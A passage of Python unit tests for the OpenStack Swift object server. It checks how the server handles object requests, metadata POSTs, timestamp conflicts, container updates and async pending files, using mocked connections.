'mount_check': 'false', 'container_update_timeout': 0.0} self.object_controller = object_server.ObjectController( self.conf, logger=debug_logger()) self.object_controller.bytes_per_sync = 1 self._orig_tpool_exc = tpool.execute tpool.execute = lambda f, *args, **kwargs: f(*args, **kwargs) self.df_mgr = diskfile.DiskFileManager(self.conf, self.object_controller.logger) self.logger = debug_logger('test-object-controller') self.ts = make_timestamp_iter() def tearDown(self): """Tear down for testing swift.object.server.ObjectController""" rmtree(self.tmpdir) tpool.execute = self._orig_tpool_exc def _stage_tmp_dir(self, policy): mkdirs(os.path.join(self.testdir, 'sda1', diskfile.get_tmp_dir(policy))) def check_all_api_methods(self, obj_name='o', alt_res=None): path = '/sda1/p/a/c/%s' % obj_name body = 'SPECIAL_STRING' op_table = { "PUT": (body, alt_res or 201, ''), # create one "GET": ('', alt_res or 200, body), # check it "POST": ('', alt_res or 202, ''), # update it "HEAD": ('', alt_res or 200, ''), # head it "DELETE": ('', alt_res or 204, '') # delete it } for method in ["PUT", "GET", "POST", "HEAD", "DELETE"]: in_body, res, out_body = op_table[method] timestamp = normalize_timestamp(time()) req = Request.blank( path, environ={'REQUEST_METHOD': method}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/x-test'}) req.body = in_body resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, res) if out_body and (200 <= res < 300): self.assertEqual(resp.body, out_body) def test_REQUEST_SPECIAL_CHARS(self): obj = 'special昆%20/%' self.check_all_api_methods(obj) def test_device_unavailable(self): def raise_disk_unavail(*args, **kwargs): raise DiskFileDeviceUnavailable() self.object_controller.get_diskfile = raise_disk_unavail self.check_all_api_methods(alt_res=507) def test_allowed_headers(self): dah = ['content-disposition', 'content-encoding', 'x-delete-at', 'x-object-manifest', 'x-static-large-object'] conf = {'devices': self.testdir, 'mount_check': 'false', 'allowed_headers': ','.join(['content-length'] + dah)} self.object_controller = object_server.ObjectController( conf, logger=debug_logger()) self.assertEqual(self.object_controller.allowed_headers, set(dah)) def test_POST_update_meta(self): # Test swift.obj.server.ObjectController.POST original_headers = self.object_controller.allowed_headers test_headers = 'content-encoding foo bar'.split() self.object_controller.allowed_headers = set(test_headers) put_timestamp = normalize_timestamp(time()) headers = {'X-Timestamp': put_timestamp, 'Content-Type': 'application/x-test', 'Foo': 'fooheader', 'Baz': 'bazheader', 'X-Object-Sysmeta-Color': 'blue', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'} req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers) req.body = 'VERIFY' etag = '"%s"' % md5('VERIFY').hexdigest() resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), 'Etag': etag, }) post_timestamp = normalize_timestamp(time()) headers = {'X-Timestamp': post_timestamp, 'X-Object-Meta-3': 'Three', 'X-Object-Meta-4': 'Four', 'Content-Encoding': 'gzip', 'Foo': 'fooheader', 'Bar': 'barheader', 'Content-Type': 'application/x-test'} req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers=headers) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), }) req = Request.blank('/sda1/p/a/c/o') resp = req.get_response(self.object_controller) expected_headers = { 'Content-Type': 'application/x-test', 'Content-Length': '6', 'Etag': etag, 'X-Object-Sysmeta-Color': 'blue', 'X-Object-Meta-3': 'Three', 'X-Object-Meta-4': 'Four', 'Foo': 'fooheader', 'Bar': 'barheader', 'Content-Encoding': 'gzip', 'X-Backend-Timestamp': post_timestamp, 'X-Timestamp': post_timestamp, 'X-Backend-Data-Timestamp': put_timestamp, 'X-Backend-Durable-Timestamp': put_timestamp, 'Last-Modified': strftime( '%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(post_timestamp)))), } self.assertEqual(dict(resp.headers), expected_headers) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'HEAD'}) resp = req.get_response(self.object_controller) self.assertEqual(dict(resp.headers), expected_headers) post_timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': post_timestamp, 'X-Object-Sysmeta-Color': 'red', 'Content-Type': 'application/x-test'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), }) req = Request.blank('/sda1/p/a/c/o') resp = req.get_response(self.object_controller) self.assertEqual(dict(resp.headers), { 'Content-Type': 'application/x-test', 'Content-Length': '6', 'Etag': etag, 'X-Object-Sysmeta-Color': 'blue', 'X-Backend-Timestamp': post_timestamp, 'X-Timestamp': post_timestamp, 'X-Backend-Data-Timestamp': put_timestamp, 'X-Backend-Durable-Timestamp': put_timestamp, 'Last-Modified': strftime( '%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(post_timestamp)))), }) # test defaults self.object_controller.allowed_headers = original_headers put_timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': put_timestamp, 'Content-Type': 'application/x-test', 'Foo': 'fooheader', 'X-Object-Sysmeta-Color': 'red', 'X-Object-Meta-1': 'One', 'X-Object-Manifest': 'c/bar', 'Content-Encoding': 'gzip', 'Content-Disposition': 'bar', 'X-Static-Large-Object': 'True', }) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), 'Etag': etag, }) req = Request.blank('/sda1/p/a/c/o') resp = req.get_response(self.object_controller) self.assertEqual(dict(resp.headers), { 'Content-Type': 'application/x-test', 'Content-Length': '6', 'Etag': etag, 'X-Object-Sysmeta-Color': 'red', 'X-Object-Meta-1': 'One', 'Content-Encoding': 'gzip', 'X-Object-Manifest': 'c/bar', 'Content-Disposition': 'bar', 'X-Static-Large-Object': 'True', 'X-Backend-Timestamp': put_timestamp, 'X-Timestamp': put_timestamp, 'X-Backend-Data-Timestamp': put_timestamp, 'X-Backend-Durable-Timestamp': put_timestamp, 'Last-Modified': strftime( '%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(put_timestamp)))), }) post_timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': post_timestamp, 'X-Object-Meta-3': 'Three', 'Foo': 'fooheader', 'Content-Type': 'application/x-test'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), }) req = Request.blank('/sda1/p/a/c/o') resp = req.get_response(self.object_controller) self.assertEqual(dict(resp.headers), { 'Content-Type': 'application/x-test', 'Content-Length': '6', 'Etag': etag, 'X-Object-Sysmeta-Color': 'red', 'X-Object-Meta-3': 'Three', 'X-Static-Large-Object': 'True', 'X-Backend-Timestamp': post_timestamp, 'X-Timestamp': post_timestamp, 'X-Backend-Data-Timestamp': put_timestamp, 'X-Backend-Durable-Timestamp': put_timestamp, 'Last-Modified': strftime( '%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(post_timestamp)))), }) # Test for empty metadata post_timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': post_timestamp, 'Content-Type': 'application/x-test', 'X-Object-Meta-3': ''}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(dict(resp.headers), { 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': str(len(resp.body)), }) req = Request.blank('/sda1/p/a/c/o') resp = req.get_response(self.object_controller) self.assertEqual(dict(resp.headers), { 'Content-Type': 'application/x-test', 'Content-Length': '6', 'Etag': etag, 'X-Object-Sysmeta-Color': 'red', 'X-Object-Meta-3': '', 'X-Static-Large-Object': 'True', 'X-Backend-Timestamp': post_timestamp, 'X-Timestamp': post_timestamp, 'X-Backend-Data-Timestamp': put_timestamp, 'X-Backend-Durable-Timestamp': put_timestamp, 'Last-Modified': strftime( '%a, %d %b %Y %H:%M:%S GMT', gmtime(math.ceil(float(post_timestamp)))), }) def test_POST_old_timestamp(self): ts = time() orig_timestamp = utils.Timestamp(ts).internal req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': orig_timestamp, 'Content-Type': 'application/x-test', 'X-Object-Meta-1': 'One', 'X-Object-Meta-Two': 'Two'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) # Same timestamp should result in 409 req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': orig_timestamp, 'X-Object-Meta-3': 'Three', 'X-Object-Meta-4': 'Four', 'Content-Encoding': 'gzip', 'Content-Type': 'application/x-test'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['X-Backend-Timestamp'], orig_timestamp) # Earlier timestamp should result in 409 timestamp = normalize_timestamp(ts - 1) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp, 'X-Object-Meta-5': 'Five', 'X-Object-Meta-6': 'Six', 'Content-Encoding': 'gzip', 'Content-Type': 'application/x-test'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['X-Backend-Timestamp'], orig_timestamp) def test_POST_conflicts_with_later_POST(self): t_put = next(self.ts).internal req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': t_put, 'Content-Length': 0, 'Content-Type': 'plain/text'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) t_post1 = next(self.ts).internal t_post2 = next(self.ts).internal req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t_post2}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t_post1}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) obj_dir = os.path.join( self.testdir, 'sda1', storage_directory(diskfile.get_data_dir(0), 'p', hash_path('a', 'c', 'o'))) ts_file = os.path.join(obj_dir, t_post2 + '.meta') self.assertTrue(os.path.isfile(ts_file)) meta_file = os.path.join(obj_dir, t_post1 + '.meta') self.assertFalse(os.path.isfile(meta_file)) def test_POST_not_exist(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/fail', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp, 'X-Object-Meta-1': 'One', 'X-Object-Meta-2': 'Two', 'Content-Type': 'text/plain'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) def test_POST_invalid_path(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': timestamp, 'X-Object-Meta-1': 'One', 'X-Object-Meta-2': 'Two', 'Content-Type': 'text/plain'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_POST_no_timestamp(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Object-Meta-1': 'One', 'X-Object-Meta-2': 'Two', 'Content-Type': 'text/plain'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_POST_bad_timestamp(self): req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': 'bad', 'X-Object-Meta-1': 'One', 'X-Object-Meta-2': 'Two', 'Content-Type': 'text/plain'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 400) def test_POST_container_connection(self): # Test that POST does call container_update and returns success # whether update to container server succeeds or fails def mock_http_connect(calls, response, with_exc=False): class FakeConn(object): def __init__(self, calls, status, with_exc): self.calls = calls self.status = status self.reason = 'Fake' self.host = '1.2.3.4' self.port = '1234' self.with_exc = with_exc def getresponse(self): calls[0] += 1 if self.with_exc: raise Exception('test') return self def read(self, amt=None): return '' return lambda *args, **kwargs: FakeConn(calls, response, with_exc) ts = time() timestamp = normalize_timestamp(ts) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'text/plain', 'Content-Length': '0'}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': normalize_timestamp(ts + 1), 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new1'}) calls = [0] with mock.patch.object(object_server, 'http_connect', mock_http_connect(calls, 202)): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': normalize_timestamp(ts + 2), 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new1'}) calls = [0] with mock.patch.object(object_server, 'http_connect', mock_http_connect(calls, 202, with_exc=True)): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': normalize_timestamp(ts + 3), 'X-Container-Host': '1.2.3.4:0', 'X-Container-Partition': '3', 'X-Container-Device': 'sda1', 'X-Container-Timestamp': '1', 'Content-Type': 'application/new2'}) calls = [0] with mock.patch.object(object_server, 'http_connect', mock_http_connect(calls, 500)): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) def _test_POST_container_updates(self, policy, update_etag=None): # Test that POST requests result in correct calls to container_update t = [next(self.ts) for _ in range(0, 5)] calls_made = [] update_etag = update_etag or '098f6bcd4621d373cade4e832627b4f6' def mock_container_update(ctlr, op, account, container, obj, request, headers_out, objdevice, policy): calls_made.append((headers_out, policy)) body = 'test' headers = { 'X-Timestamp': t[1].internal, 'Content-Type': 'application/octet-stream;swift_bytes=123456789', 'X-Backend-Storage-Policy-Index': int(policy)} if policy.policy_type == EC_POLICY: # EC fragments will typically have a different size to the body and # for small bodies the fragments may be longer. For this test all # that matters is that the fragment and body lengths differ. body = body + 'ec_overhead' headers['X-Backend-Container-Update-Override-Etag'] = update_etag headers['X-Backend-Container-Update-Override-Size'] = '4' headers['X-Object-Sysmeta-Ec-Etag'] = update_etag headers['X-Object-Sysmeta-Ec-Content-Length'] = '4' headers['X-Object-Sysmeta-Ec-Frag-Index'] = 2 headers['Content-Length'] = str(len(body)) req = Request.blank('/sda1/p/a/c/o', body=body, environ={'REQUEST_METHOD': 'PUT'}, headers=headers) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'application/octet-stream;swift_bytes=123456789', 'x-timestamp': t[1].internal, 'x-etag': update_etag}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # POST with no metadata newer than the data should return 409, # container update not expected calls_made = [] req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t[0].internal, 'X-Backend-Storage-Policy-Index': int(policy)}) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['x-backend-timestamp'], t[1].internal) self.assertEqual(0, len(calls_made)) # POST with newer metadata returns success and container update # is expected calls_made = [] req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t[3].internal, 'X-Backend-Storage-Policy-Index': int(policy)}) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'application/octet-stream;swift_bytes=123456789', 'x-timestamp': t[1].internal, 'x-content-type-timestamp': t[1].internal, 'x-meta-timestamp': t[3].internal, 'x-etag': update_etag}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # POST with no metadata newer than existing metadata should return # 409, container update not expected calls_made = [] req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': t[2].internal, 'X-Backend-Storage-Policy-Index': int(policy)}) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(resp.headers['x-backend-timestamp'], t[3].internal) self.assertEqual(0, len(calls_made)) # POST with newer content-type but older metadata returns success # and container update is expected newer content-type should have # existing swift_bytes appended calls_made = [] req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={ 'X-Timestamp': t[2].internal, 'Content-Type': 'text/plain', 'Content-Type-Timestamp': t[2].internal, 'X-Backend-Storage-Policy-Index': int(policy) }) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'text/plain;swift_bytes=123456789', 'x-timestamp': t[1].internal, 'x-content-type-timestamp': t[2].internal, 'x-meta-timestamp': t[3].internal, 'x-etag': update_etag}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # POST with older content-type but newer metadata returns success # and container update is expected calls_made = [] req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={ 'X-Timestamp': t[4].internal, 'Content-Type': 'older', 'Content-Type-Timestamp': t[1].internal, 'X-Backend-Storage-Policy-Index': int(policy) }) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'text/plain;swift_bytes=123456789', 'x-timestamp': t[1].internal, 'x-content-type-timestamp': t[2].internal, 'x-meta-timestamp': t[4].internal, 'x-etag': update_etag}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # POST with same-time content-type and metadata returns 409 # and no container update is expected calls_made = [] req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={ 'X-Timestamp': t[4].internal, 'Content-Type': 'ignored', 'Content-Type-Timestamp': t[2].internal, 'X-Backend-Storage-Policy-Index': int(policy) }) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 409) self.assertEqual(0, len(calls_made)) # POST with implicit newer content-type but older metadata # returns success and container update is expected, # update reports existing metadata timestamp calls_made = [] req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={ 'X-Timestamp': t[3].internal, 'Content-Type': 'text/newer', 'X-Backend-Storage-Policy-Index': int(policy) }) with mock.patch('swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'text/newer;swift_bytes=123456789', 'x-timestamp': t[1].internal, 'x-content-type-timestamp': t[3].internal, 'x-meta-timestamp': t[4].internal, 'x-etag': update_etag}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) def test_POST_container_updates_with_replication_policy(self): self._test_POST_container_updates(POLICIES[0]) def test_POST_container_updates_with_EC_policy(self): self._test_POST_container_updates( POLICIES[1], update_etag='override_etag') def test_POST_container_updates_precedence(self): # Verify correct etag and size being sent with container updates for a # PUT and for a subsequent POST. def do_test(body, headers, policy): def mock_container_update(ctlr, op, account, container, obj, req, headers_out, objdevice, policy): calls_made.append((headers_out, policy)) calls_made = [] ts_put = next(self.ts) # make PUT with given headers and verify correct etag is sent in # container update headers.update({ 'Content-Type': 'application/octet-stream;swift_bytes=123456789', 'X-Backend-Storage-Policy-Index': int(policy), 'X-Object-Sysmeta-Ec-Frag-Index': 2, 'X-Timestamp': ts_put.internal, 'Content-Length': len(body)}) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=headers, body=body) with mock.patch( 'swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) self.assertEqual(1, len(calls_made)) expected_headers = HeaderKeyDict({ 'x-size': '4', 'x-content-type': 'application/octet-stream;swift_bytes=123456789', 'x-timestamp': ts_put.internal, 'x-etag': 'expected'}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # make a POST and verify container update has the same etag calls_made = [] ts_post = next(self.ts) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': ts_post.internal, 'X-Backend-Storage-Policy-Index': int(policy)}) with mock.patch( 'swift.obj.server.ObjectController.container_update', mock_container_update): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.assertEqual(1, len(calls_made)) expected_headers.update({ 'x-content-type-timestamp': ts_put.internal, 'x-meta-timestamp': ts_post.internal}) self.assertDictEqual(expected_headers, calls_made[0][0]) self.assertEqual(policy, calls_made[0][1]) # sanity check - EC headers are ok headers = { 'X-Backend-Container-Update-Override-Etag': 'expected', 'X-Backend-Container-Update-Override-Size': '4', 'X-Object-Sysmeta-Ec-Etag': 'expected', 'X-Object-Sysmeta-Ec-Content-Length': '4'} do_test('test ec frag longer than 4', headers, POLICIES[1]) # middleware overrides take precedence over EC/older overrides headers = { 'X-Backend-Container-Update-Override-Etag': 'unexpected', 'X-Backend-Container-Update-Override-Size': '3', 'X-Object-Sysmeta-Ec-Etag': 'unexpected', 'X-Object-Sysmeta-Ec-Content-Length': '3', 'X-Object-Sysmeta-Container-Update-Override-Etag': 'expected', 'X-Object-Sysmeta-Container-Update-Override-Size': '4'} do_test('test ec frag longer than 4', headers, POLICIES[1]) # overrides with replication policy headers = { 'X-Object-Sysmeta-Container-Update-Override-Etag': 'expected', 'X-Object-Sysmeta-Container-Update-Override-Size': '4'} do_test('longer than 4', headers, POLICIES[0]) # middleware overrides take precedence over EC/older overrides with # replication policy headers = { 'X-Backend-Container-Update-Override-Etag': 'unexpected', 'X-Backend-Container-Update-Override-Size': '3', 'X-Object-Sysmeta-Container-Update-Override-Etag': 'expected', 'X-Object-Sysmeta-Container-Update-Override-Size': '4'} do_test('longer than 4', headers, POLICIES[0]) def _test_PUT_then_POST_async_pendings(self, policy, update_etag=None): # Test that PUT and POST requests result in distinct async pending # files when sync container update fails. def fake_http_connect(*args): raise Exception('test') device_dir = os.path.join(self.testdir, 'sda1') t_put = next(self.ts) update_etag = update_etag or '098f6bcd4621d373cade4e832627b4f6' put_headers = { 'X-Trans-Id': 'put_trans_id', 'X-Timestamp': t_put.internal, 'Content-Type': 'application/octet-stream;swift_bytes=123456789', 'Content-Length': '4', 'X-Backend-Storage-Policy-Index': int(policy), 'X-Container-Host': 'chost:cport', 'X-Container-Partition': 'cpartition', 'X-Container-Device': 'cdevice'} if policy.policy_type == EC_POLICY: put_headers.update({ 'X-Object-Sysmeta-Ec-Frag-Index': '2', 'X-Backend-Container-Update-Override-Etag': update_etag, 'X-Object-Sysmeta-Ec-Etag': update_etag}) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers=put_headers, body='test') with mock.patch('swift.obj.server.http_connect', fake_http_connect), \ mock.patch('swift.common.utils.HASH_PATH_PREFIX', ''), \ fake_spawn(): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) async_pending_file_put = os.path.join( device_dir, diskfile.get_async_dir(policy), 'a83', '06fbf0b514e5199dfc4e00f42eb5ea83-%s' % t_put.internal) self.assertTrue(os.path.isfile(async_pending_file_put), 'Expected %s to be a file but it is not.' % async_pending_file_put) expected_put_headers = { 'Referer': 'PUT http://localhost/sda1/p/a/c/o', 'X-Trans-Id': 'put_trans_id', 'X-Timestamp': t_put.internal, 'X-Content-Type': 'application/octet-stream;swift_bytes=123456789', 'X-Size': '4', 'X-Etag': '098f6bcd4621d373cade4e832627b4f6', 'User-Agent': 'object-server %s' % os.getpid(), 'X-Backend-Storage-Policy-Index': '%d' % int(policy)} if policy.policy_type == EC_POLICY: expected_put_headers['X-Etag'] = update_etag self.assertDictEqual( pickle.load(open(async_pending_file_put)), {'headers': expected_put_headers, 'account': 'a', 'container': 'c', 'obj': 'o', 'op': 'PUT'}) # POST with newer metadata returns success and container update # is expected t_post = next(self.ts) post_headers = { 'X-Trans-Id': 'post_trans_id', 'X-Timestamp': t_post.internal, 'Content-Type': 'application/other', 'X-Backend-Storage-Policy-Index': int(policy), 'X-Container-Host': 'chost:cport', 'X-Container-Partition': 'cpartition', 'X-Container-Device': 'cdevice'} req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers=post_headers) with mock.patch('swift.obj.server.http_connect', fake_http_connect), \ mock.patch('swift.common.utils.HASH_PATH_PREFIX', ''), \ fake_spawn(): resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 202) self.maxDiff = None # check async pending file for PUT is still intact self.assertDictEqual( pickle.load(open(async_pending_file_put)), {'headers': expected_put_headers, 'account': 'a', 'container': 'c', 'obj': 'o', 'op': 'PUT'}) # check distinct async pending file for POST async_pending_file_post = os.path.join( device_dir, diskfile.get_async_dir(policy), 'a83', '06fbf0b514e5199dfc4e00f42eb5ea83-%s' % t_post.internal) self.assertTrue(os.path.isfile(async_pending_file_post), 'Expected %s to be a file but it is not.' % async_pending_file_post) expected_post_headers = { 'Referer': 'POST http://localhost/sda1/p/a/c/o', 'X-Trans-Id': 'post_trans_id', 'X-Timestamp': t_put.internal, 'X-Content-Type': 'application/other;swift_bytes=123456789', 'X-Size': '4', 'X-Etag': '098f6bcd4621d373cade4e832627b4f6', 'User-Agent': 'object-server %s' % os.getpid(), 'X-Backend-Storage-Policy-Index': '%d' % int(policy), 'X-Meta-Timestamp': t_post.internal, 'X-Content-Type-Timestamp': t_post.internal, } if policy.policy_type == EC_POLICY: expected_post_headers['X-Etag'] = update_etag self.assertDictEqual( pickle.load(open(async_pending_file_post)), {'headers': expected_post_headers, 'account': 'a', 'container': 'c', 'obj': 'o', 'op': 'PUT'}) # verify that only the POST (most recent) async update gets sent by the # object updater, and that both update files are deleted with mock.patch( 'swift.obj.updater.ObjectUpdater.object_update') as mock_update, \ mock.patch('swift.obj.updater.dump_recon_cache'): object_updater = updater.ObjectUpdater( {'devices': self.testdir, 'mount_check': 'false'}, logger=debug_logger()) node = {'id': 1} mock_ring = mock.MagicMock() mock_ring.get_nodes.return_value = (99, [node]) object_updater.container_ring = mock_ring mock_update.return_value = ((True, 1)) object_updater.run_once() self.assertEqual(1, mock_update.call_count) self.assertEqual((node, 99, 'PUT', '/a/c/o'), mock_update.call_args_list[0][0][0:4]) actual_headers = mock_update.call_args_list[0][0][4] self.assertTrue( actual_headers.pop('user-agent').startswith('object-updater')) self.assertDictEqual(expected_post_headers, actual_headers) self.assertFalse( os.listdir(os.path.join( device_dir, diskfile.get_async_dir(policy)))) def test_PUT_then_POST_async_pendings_with_repl_policy(self): self._test_PUT_then_POST_async_pendings(POLICIES[0]) def test_PUT_then_POST_async_pendings_with_EC_policy(self): self._test_PUT_then_POST_async_pendings( POLICIES[1], update_etag='override_etag') def test_POST_quarantine_zbyte(self): timestamp = normalize_timestamp(time()) req = Request.blank('/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'PUT'}, headers={'X-Timestamp': timestamp, 'Content-Type': 'application/x-test'}) req.body = 'VERIFY' resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 201) objfile = self.df_mgr.get_diskfile('sda1', 'p', 'a', 'c', 'o', policy=POLICIES.legacy) objfile.open() file_name = os.path.basename(objfile._data_file) with open(objfile._data_file) as fp: metadata = diskfile.read_metadata(fp) os.unlink(objfile._data_file) with open(objfile._data_file, 'w') as fp: diskfile.write_metadata(fp, metadata) self.assertEqual(os.listdir(objfile._datadir)[0], file_name) req = Request.blank( '/sda1/p/a/c/o', environ={'REQUEST_METHOD': 'POST'}, headers={'X-Timestamp': normalize_timestamp(time())}) resp = req.get_response(self.object_controller) self.assertEqual(resp.status_int, 404) quar_dir = os.path.join( self.testdir, 'sda1', 'quarantined', 'objects', os.path.basename(os.path.dirname(objfile._data_file))) self.assertEqual(os.listdir(quar_dir)[0], file_name) def test_PUT_invalid_path(self): req = Request.blank('/sda1/p/a/c', environ={'REQUEST_METHOD': 'PUT'}) resp = 